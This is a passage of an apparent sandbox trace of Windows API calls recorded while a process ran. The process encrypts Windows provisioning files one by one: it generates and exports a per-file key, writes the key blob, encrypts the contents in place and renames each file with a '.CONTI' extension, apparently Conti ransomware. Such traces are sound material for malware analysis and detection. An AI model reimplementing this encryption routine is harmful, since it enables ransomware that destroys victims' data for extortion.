	[0113.351] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.351] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.352] GetProcessHeap () returned 0x1720000
	[0113.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.352] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.352] GetProcessHeap () returned 0x1720000
	[0113.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb808 | out: hHeap=0x1720000) returned 1
	[0113.352] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.352] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65bc790 | out: phKey=0x65bc790*=0x17c7af0) returned 1
	[0113.352] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bc794, pdwDataLen=0x393fdd4 | out: pbData=0x65bc794*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.355] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.355] GetLastError () returned 0x0
	[0113.355] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=709) returned 1
	[0113.355] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0113.355] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.355] SetEndOfFile (hFile=0x320) returned 1
	[0113.355] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.355] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.355] WriteFile (in: hFile=0x320, lpBuffer=0x65bc794*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65bc794*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.357] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.357] ReadFile (in: hFile=0x320, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2c5, lpOverlapped=0x0) returned 1
	[0113.357] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2c5, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0113.357] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.357] WriteFile (in: hFile=0x320, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.357] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.357] WriteFile (in: hFile=0x320, lpBuffer=0x65bc788*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65bc788*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.357] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.357] CloseHandle (hObject=0x320) returned 1
	[0113.397] GetProcessHeap () returned 0x1720000
	[0113.397] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.397] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.407] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.421] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.422] GetProcessHeap () returned 0x1720000
	[0113.422] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.422] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.422] GetProcessHeap () returned 0x1720000
	[0113.422] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb6c0 | out: hHeap=0x1720000) returned 1
	[0113.422] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.423] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65be2f0 | out: phKey=0x65be2f0*=0x17c7cb0) returned 1
	[0113.423] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65be2f4, pdwDataLen=0x393fdd4 | out: pbData=0x65be2f4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.423] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.424] GetLastError () returned 0x0
	[0113.424] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=732) returned 1
	[0113.424] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0113.424] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.424] SetEndOfFile (hFile=0x3e4) returned 1
	[0113.424] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.424] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.424] WriteFile (in: hFile=0x3e4, lpBuffer=0x65be2f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65be2f4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.430] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.430] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2dc, lpOverlapped=0x0) returned 1
	[0113.430] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2dc, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2e0) returned 1
	[0113.430] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.430] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.430] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.430] WriteFile (in: hFile=0x3e4, lpBuffer=0x65be2e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65be2e8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.430] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.430] CloseHandle (hObject=0x3e4) returned 1
	[0113.430] GetProcessHeap () returned 0x1720000
	[0113.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.430] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml"
	[0113.430] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.430] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.431] GetProcessHeap () returned 0x1720000
	[0113.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.431] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0113.431] GetProcessHeap () returned 0x1720000
	[0113.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba9f0 | out: hHeap=0x1720000) returned 1
	[0113.431] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.431] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65c0770 | out: phKey=0x65c0770*=0x17c7af0) returned 1
	[0113.431] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c0774, pdwDataLen=0x393fdd4 | out: pbData=0x65c0774*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.432] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.432] GetLastError () returned 0x0
	[0113.433] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=709) returned 1
	[0113.433] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0113.433] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.433] SetEndOfFile (hFile=0x3e4) returned 1
	[0113.433] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.433] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.433] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c0774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65c0774*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.439] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.439] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2c5, lpOverlapped=0x0) returned 1
	[0113.439] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2c5, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0113.439] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.439] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.439] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.439] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c0768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65c0768*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.439] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.439] CloseHandle (hObject=0x3e4) returned 1
	[0113.439] GetProcessHeap () returned 0x1720000
	[0113.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.439] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml"
	[0113.439] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.439] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.440] GetProcessHeap () returned 0x1720000
	[0113.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.440] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.440] GetProcessHeap () returned 0x1720000
	[0113.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce238 | out: hHeap=0x1720000) returned 1
	[0113.440] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.440] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65bd9d0 | out: phKey=0x65bd9d0*=0x17c7bf0) returned 1
	[0113.440] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bd9d4, pdwDataLen=0x393fdd4 | out: pbData=0x65bd9d4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.441] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.441] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.442] GetLastError () returned 0x0
	[0113.442] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=849) returned 1
	[0113.442] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x351
	[0113.442] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.442] SetEndOfFile (hFile=0x3e4) returned 1
	[0113.442] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.442] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.442] WriteFile (in: hFile=0x3e4, lpBuffer=0x65bd9d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65bd9d4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
